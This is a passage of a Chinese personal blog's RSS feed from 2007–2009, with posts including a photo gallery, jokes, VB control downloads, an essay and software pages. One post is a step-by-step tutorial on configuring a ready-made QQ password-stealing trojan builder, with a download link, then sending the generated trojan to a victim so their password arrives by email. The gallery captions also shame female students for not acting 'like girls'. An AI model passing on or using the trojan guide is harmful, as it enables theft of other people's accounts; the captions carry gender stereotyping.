align="center"&gt;&lt;br&gt;&lt;/div&gt;&lt;div align="center"&gt;(图2)女生宿舍里流行“胸袭” &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_3.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350532.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图3)做鬼脸吓跑同舍室友 &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_4.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350534.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图4)沙滩上穿“比基尼”诱惑 &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_5.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350536.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图5)加入烟民的行列&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_6.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350538.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图6)不洗澡就留影合念&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_7.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350540.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图7)又见光天化日下的胸袭……俗不俗啊&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_8.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350542.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图8)宿舍里大胆摆出勾引的姿势 &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_9.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350544.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图9)节约资源，只穿几根带子上街&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_10.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350546.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图10)装男生上厕所 &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_11.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350548.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图11)拍裸露毕业照&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_12.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350550.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图12)疯狂的自恋&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_13.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350552.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图13)破坏环境卫生&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_14.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350554.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图14)参加不良的活动&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_15.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350556.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图15)破坏城市雕塑&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_16.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350558.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图16)对石头帅哥图谋不轨&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_17.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350560.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图17)恶搞装可爱&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_18.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350562.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图18)欺压低年级的同学&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_19.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350564.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图19)呃，韩国女生真是恶搞鼻祖&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_20.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350566.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图20)摆出恐怖姿势吓坏周围同学&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_21.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350568.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图21)压榨男友到达极限&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_22.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350570.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图22)在校园里对女同学性骚扰&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_23.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350572.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图23)破坏宿舍环境卫生&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_24.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350574.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图24)抽烟摆POSE &lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_25.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350576.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图25)做敢于动手的“野蛮女友”&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_26.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350578.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图26)大庭广众下和男友亲热&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_27.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350580.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图27)宿舍玩牌恐怖妆容&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_28.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350582.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图28)压迫宿舍可怜的小梯子&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_29.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350584.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图29)最后这两个可爱的mm不是行为不良哦，&lt;/div&gt;&lt;div align="center"&gt;只是用她们的可爱反衬其他女大学生不像个女生的恶搞行为是多么可耻的！&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_30.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350586.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图30)多可爱的女神装 &lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_31.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350588.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/photo/ctsh.shtml" target="_blank"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350590.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图32)女孩还是应该有个女孩的样子&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=40</guid><pubDate>Wed, 02 May 2007 16:03:00 GMT</pubDate></item><item><title>[图解教程]打造一个属于自己的QQ木马</title><link>http://www.chendw.cn:8080/view.aspx?id=39</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#ff6600"&gt;小小菜进，老鸟勿视&lt;/font&gt;&lt;/p&gt;&lt;p&gt;经常有朋友问我怎么盗Q，其实盗Q很简单，工具都是现成的，只要稍微配置几下就ok了。这里我就以阿拉QQ大盗为例子教你们配置一个属于自己的盗Q木马。&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/6a807ffc936e4851a5fbcc0775433f4a.gbp"&gt;点击下载&lt;/a&gt;&lt;/p&gt;&lt;div forimg="1" align="left"&gt;把运行后关闭QQ勾上，配置如下。&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/6c0f7d3e02ff723971cf6c77.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;配置完后点测试，结果成功就OK了。下面是截图&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/3740d309fd292786d0581b70.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;然后点返回，点击生成木马，会提示保存。&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;保存的那个文件就是木马，然后就看你造化了，只要把它发给对方，对方一运行，qq的密码就到你邮箱里了。你可以自己运行一下那个程序，再登陆自己的QQ，去邮箱看下效果。看完了别忘了点卸载程序。&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;说明：这个方法现在成功率很低，对方要是装了杀毒软件，就会被杀。&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=39</guid><pubDate>Wed, 02 May 2007 01:29:00 GMT</pubDate></item><item><title>基于Discuz!的免费论坛空间</title><link>http://www.chendw.cn:8080/view.aspx?id=38</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div class="pbdiscuz"&gt;&lt;div class="logo"&gt;基于Discuz!的免费论坛空间...&lt;/div&gt;&lt;/div&gt;&lt;div class="maindiv"&gt;&lt;div &gt;&lt;p&gt;&lt;span&gt;建立自己的领地－－&lt;/span&gt;&lt;font color="#800080"&gt; &lt;/font&gt;&lt;/p&gt;&lt;h2&gt;&lt;a target="_blank" href="http://www.5d6d.com/"&gt;申请免费论坛&lt;/a&gt;&lt;/h2&gt;&lt;p&gt; &lt;/p&gt;&lt;ul&gt;&lt;li&gt;给你零距离分享，交流，找乐平台 &lt;/li&gt;    &lt;li&gt;找到更多志同道合，打包更多稀有资源 &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=38</guid><pubDate>Mon, 30 Apr 2007 02:56:00 GMT</pubDate></item><item><title>2007年绝杀短信</title><link>http://www.chendw.cn:8080/view.aspx?id=37</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font color="#993366"&gt; 1、猫因夜生活所迫在狐狸开的夜来香发廊坐台，一日老鼠来到发廊点名要将猫包夜，猫誓死不从，老鼠大怒道：当初追老子追得死去活来，现在送上门还假正经！&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;2、医生问病人是怎么骨折的，病人说，我觉得鞋里有沙子，就扶着电线杆抖鞋，他妈的有个混蛋经过那里以为我触电了，便抄起木棍给了我两棍子!&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;3、生物课上老师问：如何才能正确分辨章鱼的手和脚？学生答：放个屁给它闻，会捂住鼻子的就是手，其他的就是脚。全班皆倒。&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;4、一人上班老是放响屁，同事忍不住说：你能不能不出声？然后便见他坐在那抖个不停。同事问他在干什么，他答：我现在已经调成振动啦！&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;5、某人骑车，闻路人狂吼：go，go，go……心想妈的我也会唱：奥来奥来哦……话音未落一头栽进沟里，路人骂道：妈的!告诉你沟沟沟还骑!摔死活该。&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;6、鲤鱼和乌龟去领结婚证。办事员问乌龟年龄，乌龟：100。办事员遗憾地说：对不起，按照你们家族规定，你还未成年，不准结婚。&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;7、一对夫妻来到一口许愿井旁，丈夫弯腰许了个愿后往井里扔了一枚硬币。妻子也想许愿，但她弯腰时不小心翻入井里。丈夫惊呆了，然后笑着对自己说：“真他妈的灵啊！”&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;8、一对夫妇在河边钓鱼，夫人总吵个不停，一会鱼上钩了，夫人说：这鱼真可怜。丈夫说：是啊，只要闭嘴不就没事了吗?&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;9、 自然课老师问：“为什么人死后身体是冷的？”没人回答。老师又问：“没人知道吗？”这时，教室后面有人说：“那是因为心静自然凉。”&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;10、蜘蛛深爱着蚂蚁，表达爱意时却遭到拒绝，蜘蛛大吼：“为什么？这一切是为什么？”蚂蚁胆怯地说：“俺妈说了，成天在网上呆着的都不是好人！”&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;11、小光是一位勤奋好学的学生，他利用寒假兼职赚取学费。白天帮肉贩割肉，晚上则到医院实习。某晚，有位老妇因急诊 要施行手术，由小光推她进手术室。老妇惊慌失色地狂喊：“天啊！你是那个杀猪的，你要把我推到哪啊！&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;12、学校的男女厕所相连。一女生去厕所忘记带卫生纸，正在难堪时隔壁男卫生间传来卫生纸，女生花容失色，大声地问“谁”，隔壁男生低沉有力地答：“雷锋。”&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;13、一人初上飞机想吐，空姐取一空袋，快满时又去取袋，并嘱咐“别乱吐”，待回来时见遍地都是，问其因，答道：“我见快满了，又喝了一口，周围人就都吐了……”&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;14、女人8岁，你要编故事哄她睡，18岁你要编故事骗她和你睡，28岁不用故事就和你睡，38岁她会编故事骗你和她睡，48岁你要编故事不和她睡。&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;15、老虎读了三国以后去抓野猪，见猪窝无一猪，摸摸胡须说：空城计!转身见兽夹上有一死猪，大惊：苦肉计!忽然又见到了你，大喜：呦嗬，还有美人计?! &lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=37</guid><pubDate>Sun, 29 Apr 2007 09:35:00 GMT</pubDate></item><item><title>[VB控件]VsListView和VsTreeView</title><link>http://www.chendw.cn:8080/view.aspx?id=35</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;vslistview控件&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/3b490db3b964d6a3d9335a39.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;vstreeview控件&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/a62359b5efab81ca36d3ca3a.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/0a607d0bf2614313b510c1e8f7f1f546.gbp"&gt;&lt;font color="#ff0000"&gt;点击下载&lt;/font&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=35</guid><pubDate>Sat, 28 Apr 2007 04:52:00 GMT</pubDate></item><item><title>品味孤独</title><link>http://www.chendw.cn:8080/view.aspx?id=32</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#153702"&gt;　 孤独是一种意境，淡雅而不失魅力；沉静而蕴含哲理，孤独又是一份凄楚的美。&lt;br&gt;&lt;br&gt;　　在无声无息的孤独中，群山诉说着伟岸；江河书写着恢宏。人呢？不也在岁月中伴着时光的斗转星移，笑着人间月圆花瘦。在生命的迭宕浮沉里把持心灵的曲直阴晴吗？&lt;br&gt;&lt;br&gt;　　滚滚红尘里，当我们脱下疲惫的伪装。拂却心灵的浮华，静然独处时,孤独便飘然而临。此时,独守窗前,看幽花随风摇曳,望行人步履匆匆,那种心如止水的悠闲总让人感动。&lt;br&gt;&lt;br&gt;　　痴望斜阳在落霞里陶醉，让善感的情素盈于心间；聆听风的柔情，雨的蜜语，在轻盈的雾霭里，拿面镜子，自我欣赏凝眸的清纯与展颜的浅笑；抑或在无奈的怅惘含泪为自己斟上一杯清咖啡，在苦涩中品味曾经的坎坷和往日的崎岖。总之，于孤独中细细品味，什么都可以想，又都可以不想，以一颗淡薄、平静的心，闲看花开花落，去留无意，静观云卷云舒，荣辱不惊。&lt;br&gt;&lt;br&gt;　　品味孤独的心不必刻意追求完美，不必为凡俗的是非恩怨倾注太多的情感，孤独是我们护心的精灵，一份难得的心境，恪守这份心境，灵魂便在孤独中净洁。&lt;br&gt;&lt;br&gt;　　品味孤独吧，那是对生命的热爱。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;[转自榕树下]&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=32</guid><pubDate>Wed, 25 Apr 2007 04:49:00 GMT</pubDate></item><item><title>[VB原创]DWMP3播放器预览</title><link>http://www.chendw.cn:8080/view.aspx?id=30</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/b6681953a09a4e239484c5f36d0ab836.jpg" target="_blank"&gt;&lt;/a&gt;用real控件打造的一款MP3播放器，含动态歌词，预览版。目前还有几个模块善未完成。完成后将开放所有代码。&lt;/div&gt;
&lt;div&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/b6681953a09a4e239484c5f36d0ab836.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/b6681953a09a4e239484c5f36d0ab836.jpg" alt="1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=30</guid><pubDate>Sat, 28 Mar 2009 12:15:23 GMT</pubDate></item><item><title>Visual Basic 6.0中文企业版</title><link>http://www.chendw.cn:8080/view.aspx?id=29</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;li style="MARGIN: 3px 0px"&gt;&lt;a href="http://softdata.studa.com/soft/Download.asp?ID=41869&amp;amp;sID=0"&gt;&lt;strong&gt;&lt;span class="STYLE33"&gt;电信主站__[电信用户下载]&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li style="MARGIN: 3px 0px"&gt;&lt;a href="http://softdata.studa.com/soft/Download.asp?ID=41869&amp;amp;sID=1"&gt;&lt;strong&gt;&lt;span class="STYLE33"&gt;网通主站__[网通用户下载]&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li style="MARGIN: 3px 0px"&gt;&lt;a href="http://softdata.studa.com/soft/Download.asp?ID=41869&amp;amp;sID=2"&gt;&lt;strong&gt;&lt;span class="STYLE33"&gt;铁通主站__[铁通用户下载]&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li style="MARGIN: 3px 0px"&gt;&lt;a href="http://softdata.studa.com/soft/Download.asp?ID=41869&amp;amp;sID=3"&gt;&lt;strong&gt;&lt;span class="STYLE33"&gt;电信备站__[电信用户下载]&lt;/span&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=29</guid><pubDate>Sat, 28 Mar 2009 12:15:49 GMT</pubDate></item><item><title>[精品软件系列]音速启动(VStart)</title><link>http://www.chendw.cn:8080/view.aspx?id=28</link><description>&lt;p&gt;音速启动(VStart) - 最新版本：5.0 Build 2009.3.16&lt;/p&gt;
&lt;div id="main"&gt;
&lt;div id="vstar"&gt;
&lt;p&gt;&lt;img dir="ltr" src="http://products.3lsoft.com/template/images/1.gif" alt="" width="247" height="433" /&gt;&lt;/p&gt;
&lt;p&gt;　　现在QQ纵横，其中有一个原因，就是其OutLook工具条形式的界面给予我们一种方便，舒适的操作环境。而音速启动以超仿真QQ界面的形式，结合桌面工具的特点，应用于软件，文件夹，网址的快捷操作，希望能带给朋友们使用电脑的方便。&lt;/p&gt;
&lt;p&gt;　　音速启动是一款完全免费的软件，无需任何条件即可使用其全部功能。 并且是绿色软件，下载压缩包解压即可使用。如果您觉得好用，可以：&lt;br /&gt;1，介绍给您的朋友&lt;br /&gt;2，反馈任何的建议&lt;br /&gt;3，捐助我们&lt;br /&gt;感谢一切使用本软件的朋友们！&lt;/p&gt;
&lt;p id="tit1"&gt;音速启动为您带来的功能&lt;/p&gt;
&lt;p id="txt"&gt;1、超方便管理软件、文件夹、网址、以及强大的系统功能。&lt;br /&gt;2、无数量限制的热键设定，一键执行任何需要的功能。&lt;br /&gt;3、创新的图标缓存技术，彻底解决EXE图标读取慢的问题。&lt;br /&gt;4、漂亮的OICQ式界面，强大的换肤功能(拥有众多皮肤)。&lt;br /&gt;5、低于2MB的内存消耗，零CPU占用，不增加系统负担。&lt;br /&gt;6、邮件检测、收集面板、天气预报等实用功能/插件，一软当关。&lt;/p&gt;
&lt;p id="download"&gt;&lt;a href="http://products.3lsoft.com/download/"&gt;&lt;span style="color: #0000ff;"&gt;立刻获得音速启动&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id="vstar_a"&gt;
&lt;p&gt;&lt;noscript&gt;&lt;/noscript&gt;&lt;!-- *** End of Vdoing Code --&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
&lt;script type="text/javascript"&gt;&lt;/script&gt;
&lt;script src="http://www.google-analytics.com/ga.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;&lt;/script&gt;
&lt;script src="http://js.tongji.cn.yahoo.com/662773/ystat.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script src="http://dt.tongji.cn.yahoo.com/ystat.do?unit_id=662773&amp;amp;uv=7829542392121332758&amp;amp;nuv=1&amp;amp;cna=&amp;amp;cg=0&amp;amp;mid=0&amp;amp;mmland=0&amp;amp;ade=0&amp;amp;adtm=0&amp;amp;sttm=0&amp;amp;cpa=0&amp;amp;ss=3839111197&amp;amp;usn=0&amp;amp;ec=1&amp;amp;ref=&amp;amp;url=http%3A//products.3lsoft.com/vstart/&amp;amp;dom=3lsoft.com&amp;amp;ha=968&amp;amp;ft=0&amp;amp;nac=Microsoft%20Internet%20Explorer&amp;amp;agt=Mozilla/4.0%20%28compatible%3B%20MSIE%207.0%3B%20Windows%20NT%205.1%3B%20Trident/4.0%3B%20.NET%20CLR%202.0.50727%3B%20CIBA%3B%20.NET%20CLR%203.0.04506.648%3B%20.NET%20CLR%203.5.21022%3B%20.NET%20CLR%203.0.4506.2152%3B%20.NET%20CLR%203.5.30729%3B%20.NET%20CLR%201.1.4322%3B%20MS-RTC%20LM%208%29&amp;amp;clr=32-bit&amp;amp;scr=1280x800&amp;amp;lng=zh-cn&amp;amp;jvm=1&amp;amp;flu=10.0&amp;amp;tm=1238242024&amp;amp;tc=c3e56036&amp;amp;ut=2&amp;amp;cnu=0.36562118942882865" type="text/javascript"&gt;&lt;/script&gt;
&lt;/p&gt;
